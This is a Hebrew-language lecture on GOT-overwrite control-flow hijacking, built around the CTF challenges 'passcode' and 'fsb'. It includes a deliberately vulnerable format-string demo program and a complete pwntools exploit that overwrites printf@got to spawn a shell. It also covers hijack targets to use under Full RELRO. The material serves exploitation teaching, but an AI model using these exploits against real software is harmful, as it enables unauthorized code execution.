5.4 דריסת GOT וחטיפת זרימה הרצאה
בפרקים הקודמים בנינו לעצמנו, צעד אחר צעד, פרימיטיב חזק: קריאה שרירותית מהזיכרון (5.2) וכתיבה שרירותית לזיכרון עם %n (5.3). אבל כתיבה לכתובת כלשהי היא רק חצי מהסיפור. השאלה האמיתית היא: לאן כדאי לכתוב כדי שנשתלט על זרימת התוכנית? התשובה הקלאסית, היפה, וזו שנעבוד איתה כאן, היא טבלת ה-GOT. בהרצאה הזו נלמד את הפרימיטיב של דריסת GOT וחטיפת זרימת בקרה, ונגיע אליו משני באגים שונים לגמרי: פעם דרך scanf שנכתב בלי & (האתגר passcode), ופעם דרך חולשת מחרוזת format (האתגר fsb). שני באגים רחוקים, אותה נקודת מפגש: כתיבה של כתובת אחת מעל ערך ב-GOT.
תזכורת - טבלת הקישור העקיפה - GOT ו-PLT¶
כשתוכנית קוראת לפונקציה מספרייה משותפת, למשל system או fflush, היא לא יודעת בזמן הקומפילציה באיזו כתובת הפונקציה תשב בזיכרון - זה נקבע רק בזמן הריצה, כשה-loader טוען את libc. הפתרון הוא שכבת עקיפה משני חלקים:
- טבלת ה-PLT - Procedure Linkage Table: קטע קוד קטן שקורא לו הבינארי במקום לקרוא ישירות לפונקציה.
- טבלת ה-GOT - Global Offset Table: טבלת מצביעים בזיכרון הכתיב, שבה נשמרת הכתובת האמיתית של כל פונקציה.
כשהקוד קורא ל-system, הוא בעצם קופץ ל-system@plt, וזה קופץ בעקיפין דרך הערך שנמצא בתא ה-GOT של system:
Our code PLT GOT (writable!)
call system@plt -> jmp *[system@got] --------> 0xf7e12345 (the real address of system in libc)
^
| we write here
שתי עובדות הופכות את ה-GOT ליעד מושלם עבורנו:
- הפונקציה נקראת בעקיפין דרך התא הזה. אם נחליף את הערך בתא, הקריאה הבאה לאותה פונקציה תקפוץ למקום שאנחנו בחרנו.
- תחת RELRO חלקי - Partial RELRO (ברירת המחדל ברוב הבינאריים הישנים, וגם ב-passcode וב-fsb), טבלת ה-
.got.pltהיא כתיבה. אין שום הגנת חומרה שמונעת מאיתנו לכתוב לשם.
זה בדיוק ההבדל מדריסת return address על המחסנית: כדי לדרוס return address צריך לחכות ש-ret ירוץ, ולעבור דרך ה-canary. דריסת GOT עוקפת את שניהם. אין canary על ה-GOT, והשליטה עוברת אלינו ברגע שהפונקציה שדרסנו נקראת - וזה קורה כל הזמן.
הפרימיטיב - דריסת ערך ב-GOT וחטיפת זרימה¶
הרעיון הכללי פשוט להפליא, ולא משנה מאיזה באג מגיעה הכתיבה:
- יש לנו פרימיטיב של כתיבה - נוכל לכתוב ערך שאנחנו שולטים בו לכתובת שאנחנו שולטים בה.
- אנחנו בוחרים ב-GOT תא של פונקציה שעומדת להיקרא בקרוב אחרי הכתיבה (למשל
fflush,printf,exit). - אנחנו כותבים לתא הזה את הכתובת של קטע הקוד שאנחנו רוצים להריץ - נתיב "ניצחון" קיים בבינארי, למשל השורה שקוראת ל-
system("/bin/cat flag"), או פונקצייתwin. - כשהתוכנית קוראת לפונקציה שדרסנו, במקום להגיע ל-libc היא קופצת לקוד שלנו.
שימו לב לנקודה חשובה: אנחנו כמעט אף פעם לא כותבים כתובת של shellcode משלנו, כי ה-NX דלוק והמחסנית לא ניתנת להרצה. במקום זה אנחנו מכוונים את הזרימה לקוד שכבר קיים ומורשה לרוץ בתוך הבינארי או ב-libc. זו אותה פילוסופיה של ROP ו-ret2libc: לא מזריקים קוד, מנתבים מחדש קוד קיים.
עכשיו בואו נראה איך משיגים את הכתיבה עצמה. נעשה את זה משני באגים.
מקור כתיבה ראשון - scanf בלי & (הבאג של passcode)¶
זה אחד הבאגים הכי אלגנטיים שיש, כי הוא נראה כמו טעות הקלדה תמימה. הביטו בשתי השורות:
int passcode;
scanf("%d", &passcode); // correct: passes the address of passcode
scanf("%d", passcode); // bug: passes the value of passcode as a target address!
הפונקציה scanf עם %d מצפה לקבל כתובת שאליה תכתוב את המספר שקראה. כשכותבים &passcode מעבירים את הכתובת של המשתנה - תקין. כששוכחים את ה-&, מעבירים את הערך של passcode, ו-scanf מתייחסת לערך הזה ככתובת וכותבת אליו. אם passcode לא אותחל, הערך שלו הוא זבל כלשהו שנשאר על המחסנית - ואם נצליח לשלוט בזבל הזה, נשלוט בכתובת היעד של הכתיבה. זה בדיוק פרימיטיב כתיבה שרירותית.
איך שולטים בזבל שעל המחסנית - מסגרות חופפות¶
הנה הקוד המקורי של passcode, מקוצר:
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name); // we control these 100 bytes
printf("Welcome %s!\n", name);
}
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); // the bug! passcode1 is not initialized
fflush(stdin);
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
int main(){
welcome();
login();
return 0;
}
הטריק טמון בכך ש-welcome ו-login נקראות אחת אחרי השנייה מ-main. כשה-welcome חוזרת, המסגרת שלה על המחסנית משתחררת, ואז login נקראת ומקבלת את אותו שטח מחסנית בדיוק. שתיהן נכנסות עם push ebp; mov ebp, esp, כלומר ה-ebp שלהן זהה. לכן משתנים מקומיים שלהן נופלים על אותן כתובות:
High addresses
+---------------------------+ <-- ebp (same in both functions)
| ... |
+------ ebp-0x10 -----------+
| passcode1 (in login) | <-- login holds passcode1 here
| name[96..99] (in welcome) | <-- bytes 96-99 of name land here
+---------------------------+
| ... |
+------ ebp-0x70 -----------+
| name[0..3] (in welcome) | <-- buffer name starts here
+---------------------------+
Low addresses
מהדיסאסמבלי רואים ש-name יושב ב-ebp-0x70 וש-passcode1 יושב ב-ebp-0x10. ההפרש הוא 0x70 - 0x10 = 0x60 = 96 בתים. כלומר, הבתים 96 עד 99 של name הם בדיוק passcode1. אנחנו כותבים 100 בתים ל-name, אז 96 הבתים הראשונים הם מילוי, וארבעת הבתים האחרונים קובעים את הערך של passcode1.
ומה נשים בערך של passcode1? את הכתובת שאליה נרצה ש-scanf("%d", passcode1) תכתוב - כלומר תא ב-GOT.
מרכיבים את ההתקפה¶
הפונקציה fflush(stdin) נקראת מיד אחרי ה-scanf הראשון. זו מתנה: נדרוס את התא של fflush ב-GOT, וכשהתוכנית תקרא ל-fflush היא תקפוץ לקוד שלנו - עוד לפני שביקשה מאיתנו את passcode2 ולפני כל בדיקת סיסמה.
- שלב א: ב-
nameנשים'A'*96 + p32(fflush@got). עכשיוpasscode1 == fflush@got. - שלב ב: כשמגיע
scanf("%d", passcode1), נזין את המספר העשרוני של כתובת ה"ניצחון" - השורה ב-loginשמריצהsystem("/bin/cat flag").scanfכותבת את המספר הזה לתוךfflush@got. - שלב ג: התוכנית קוראת
fflush(stdin), קופצת דרך ה-GOT שדרסנו, ומריצהsystem("/bin/cat flag"). הדגל מודפס.
שימו לב שכלל לא נדרשנו לדעת את הסיסמאות. חטפנו את הזרימה לפני הבדיקה. את הכתובות המדויקות (fflush@got וכתובת ה-system call) נמצא בהמשך עם objdump ו-pwntools, וזה בדיוק תוכן התרגול והפתרון.
מקור כתיבה שני - מחרוזת format עם %n¶
עכשיו נשיג את אותו פרימיטיב מבאג אחר לגמרי. כמו שראינו ב-5.3, כשהתוקף שולט במחרוזת הformat של printf, הספציפייר %n כותב את מספר התווים שהודפסו עד כה לכתובת שנלקחת מהמחסנית. עם שילוב של:
- מיקום פוזיציוני
%N$nכדי לבחור מאיזה ארגומנט (כלומר מאיזו מילה על המחסנית) נלקחת הכתובת, - שליטה בכמות התווים שהודפסו באמצעות
%<מספר>cכדי לקבוע איזה ערך נכתב, - וכתובת יעד ששתלנו בעצמנו על המחסנית (כי הקלט שלנו יושב על המחסנית),
אנחנו מקבלים כתיבה שרירותית מלאה: ערך כלשהו לכתובת כלשהי. וכשיש כתיבה שרירותית, אתם כבר יודעים לאן מכוונים - תא ב-GOT.
הרעיון: נדרוס תא של פונקציה שנקראת אחרי ה-printf הvulnerable (או בסבב הבא של לולאה, כמו במבנה של fsb) בכתובת של פונקציית win או של קוד שמריץ shell. הקריאה הבאה דרך אותו תא תקפוץ אלינו.
בונים את ה-payload ביד מול pwntools¶
לכתוב %n payload ביד זה כאב ראש: צריך לחשב רוחב, לפצל את הכתיבה לבתים או ל-halfwords כדי לא להדפיס מיליוני תווים, ולסדר את הכתובות. למזלנו pwntools עושה את כל זה בפונקציה אחת:
from pwn import *
context.binary = elf = ELF('./target') # sets architecture, endianness etc.
offset = 7 # the position where our input sits (we'll find it below)
target = elf.got['printf'] # the GOT entry we'll overwrite
value = elf.symbols['win'] # the address we'll write there
payload = fmtstr_payload(offset, {target: value})
הפונקציה fmtstr_payload(offset, {addr: val}) מחזירה מחרוזת format מוכנה שכותבת val לכתובת addr, מחושבת נכון עבור הארכיטקטורה. כל מה שצריך לתת לה זה ה-offset הנכון.
מציאת ה-offset של מחרוזת הformat¶
ה-offset הוא המיקום הפוזיציוני שבו הקלט שלנו נראה מנקודת המבט של printf. מוצאים אותו בניסוי פשוט: שולחים סמן ידוע ואחריו כמה %p, ורואים באיזה מהם מופיע הסמן:
input: AAAA %p %p %p %p %p %p %p %p
output: AAAA 0xf7f... 0x0 0x8048... 0x1 0xffffd6a0 0xf7fc4000 0x41414141 ...
^
0x41414141 (that's 'AAAA') comes back here = position 7
ה-AAAA שלנו (0x41414141) הופיע בארגומנט השביעי, אז offset = 7. זה אומר שאם נשים כתובת יעד בתחילת הקלט, נוכל להצביע עליה עם %7$n. ב-pwntools אפשר גם לתת ל-FmtStr לגלות את זה אוטומטית עם פונקציית probe, אבל טוב להבין את הידני קודם.
הדגמה מקומית מלאה - דריסת GOT דרך format string¶
בואו נראה את כל הchain עובדת על בינארי דמה שאנחנו שולטים בו במאה אחוז, לפני שנתמודד עם fsb האמיתי. הנה הקוד:
// fmt_demo.c
#include <stdio.h>
#include <stdlib.h>
void win(){
system("/bin/sh"); // the win path we want to reach
}
int main(){
char buf[128];
setvbuf(stdout, 0, 2, 0);
while(1){ // loop - like the structure of fsb
printf("> ");
if(!fgets(buf, sizeof(buf), stdin)) break;
printf(buf); // classic format string vulnerability
}
return 0;
}
מהדרים ל-32 ביט בלי canary ובלי PIE, כדי שהכתובות יהיו קבועות:
נוודא את ההנחות שלנו לגבי ההגנות:
Arch: i386-32-little
RELRO: Partial RELRO <-- the GOT is writable. Good.
Stack: No canary found
NX: NX enabled <-- no shellcode, we'll target existing code
PIE: No PIE <-- code and GOT addresses are fixed
מצב RELRO חלקי הוא ההנחה הקריטית כאן: הוא מבטיח שטבלת ה-.got.plt כתיבה. תחת RELRO מלא ההתקפה הזו לא תעבוד, ונדבר על זה בהמשך.
עכשיו ה-exploit המלא:
from pwn import *
context.binary = elf = ELF('./fmt_demo')
context.log_level = 'info'
# step 1 - find the offset (we did this manually and found 7)
offset = 7
# step 2 - build the write: printf@got <- address of win
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['win']})
p = process('./fmt_demo')
p.recvuntil(b'> ')
p.sendline(payload) # the vulnerable printf performs the write to the GOT
# on the next loop round, printf("> ") already jumps to win -> system("/bin/sh")
p.interactive()
מה קורה בזמן ריצה, שלב אחר שלב:
1. We send the payload. fgets reads it into buf.
2. printf(buf) performs the %n writes: it overwrites printf@got with the address of win.
3. The loop repeats, and runs printf("> ").
4. But printf@got now points to win! The call jumps to win.
5. win runs system("/bin/sh"). We got a shell.
הבחירה לדרוס דווקא את printf@got נוחה כי printf נקראת שוב מיד בסבב הבא, אז החטיפה מתרחשת כמעט מיידית. אפשר היה לדרוס גם את fgets@got או כל פונקציה אחרת שנקראת בהמשך.
המבנה של fsb ואיך מתרגמים אליו את הפרימיטיב¶
האתגר fsb הוא בדיוק המקרה הזה: הוא קורא קלט לתוך buffer גלובלי ואז מפעיל עליו פונקציית printf ישירות (הבאג printf(buf)), בתוך לולאה. בבינארי קיים גם נתיב שמריץ shell באמצעות execve("/bin/sh", args, ...), שמוגן בתנאי כלשהו. יש לנו שתי דרכים לנצח, ושתיהן דריסה עם %n:
- לדרוס תא ב-GOT (למשל של פונקציה שנקראת בסבב הבא של הלולאה) בכתובת של קטע ה-
execve("/bin/sh", ...), וכך לקפוץ אליו ישירות. - לדרוס את משתנה ה-
keyהגלובלי שהתנאי בודק, כך שהתנאי יתקיים והתוכנית בעצמה תקרא ל-shell.
שתי הגישות לגיטימיות ומתועדות. הראשונה מדגימה את פרימיטיב דריסת ה-GOT, השנייה מדגימה כתיבה שרירותית למשתנה נתונים - שתיהן אותו פרימיטיב %n, יעד אחר. בתרגול ובפתרון נבחר יעד, נמצא את ה-offset של מחרוזת הformat, וניצור shell.
מה עושים כשיש RELRO מלא - Full RELRO¶
חובה להיות כנים לגבי הגבולות: כל הפרק הזה מסתמך על כך שה-GOT כתיב. תחת RELRO מלא, ה-loader מסמן את כל ה-GOT כקריאה-בלבד אחרי הקישור, ודריסת GOT פשוט תיכשל עם segfault. בדקו תמיד עם checksec. אם ראיתם Full RELRO, מכוונים למקום אחר:
- הreturn address על המחסנית - אם החולשה מאפשרת לכתוב על המחסנית (למשל format string שמצביע על slot שהוא return address), דורסים אותה במקום GOT.
- מצביעי פונקציה בזיכרון הכתיב - טבלאות callback, מבני vtable מזויפים.
- הוקים של הקצאת זיכרון -
__malloc_hook/__free_hook(עבדו עד glibc 2.34; הוסרו מאז). - הchain של exit handlers -
__exit_funcs/ מצביעי מפרקים ב-TLS, שדורשים גם עקיפה של pointer mangling.
בקורס הזה passcode ו-fsb הם שניהם RELRO חלקי, אז דריסת GOT היא הדרך הישירה. אבל תמיד תתחילו מ-checksec, כי הוא קובע את כל האסטרטגיה.
שיקולים מעשיים שחשוב לזכור¶
- בתים לבנים ו-scanf %s: הפונקציה
scanfעם%sעוצרת ברווח לבן (רווח0x20, טאב0x09, שורה חדשה0x0a, וגם form feed0x0c). ב-passcode, אם כתובת ה-GOT שבחרתם מכילה בית לבן כזה, ה-scanfשקורא אתnameייעצר באמצע והכתובת לא תישתל. בחרו תא GOT שכתובתו נקייה מבתים לבנים (למשלfflush@gotשמסתיים ב-0x04), או שנו יעד. - כתיבה לפי בתים מול halfword:
%nתמים מנסה להדפיס מספר תווים ששווה לערך היעד - זה יכול להיות מיליארדים. תמיד מפצלים לכתיבות של בית (%hhn) או halfword (%hn). pwntools עושה זאת אוטומטית ב-fmtstr_payload. - הגנות ASLR ו-PIE: כתובת ה-GOT וכתובות הקוד קבועות רק כאשר אין PIE. אם הבינארי הוא PIE, קודם צריך leak של כתובת (למשל עם
%pמאותה חולשת format string) כדי לחשב את בסיס הקוד, ורק אז לדרוס. ב-passcode וב-fsb אין PIE, אז הכתובות קבועות. - סדר הבתים: כתובות נכתבות ב-little endian. ב-pwntools משתמשים ב-
p32(addr)ל-32 ביט וב-p64(addr)ל-64 ביט, ולא מרכיבים בתים ידנית.
סיכום¶
- טבלת ה-GOT היא יעד הכתיבה המועדף לחטיפת זרימה: הפונקציות נקראות דרכה בעקיפין, והיא כתיבה תחת RELRO חלקי - בלי canary ובלי צורך לחכות ל-
ret. - הפרימיטיב אחיד: משיגים כתיבה שרירותית, כותבים כתובת של קוד ניצחון קיים מעל תא GOT של פונקציה שתיקרא בקרוב, והקריאה הבאה קופצת אלינו.
- מקור כתיבה ראשון -
scanf("%d", var)בלי&: הערך שלvarמשמש ככתובת יעד. ב-passcode שולטים בערך הזה דרך חפיפת מסגרות ביןnameשלwelcomeל-passcode1שלlogin(offset 96), ודורסים אתfflush@got. - מקור כתיבה שני - מחרוזת format עם
%n: בונים כתיבה שרירותית עם מיקום פוזיציוני ורוחב, ודורסים תא GOT. pwntools מפשט הכל עםfmtstr_payload(offset, {addr: val}). - מוצאים את ה-offset של מחרוזת הformat בעזרת סמן
AAAAוסדרת%p. - מכוונים תמיד לקוד קיים ומורשה (נתיב ניצחון,
system,execve) ולא ל-shellcode, כי ה-NX דלוק. - לפני הכל -
checksec: RELRO מלא הורג את דריסת ה-GOT, PIE דורש leak של כתובת קודם.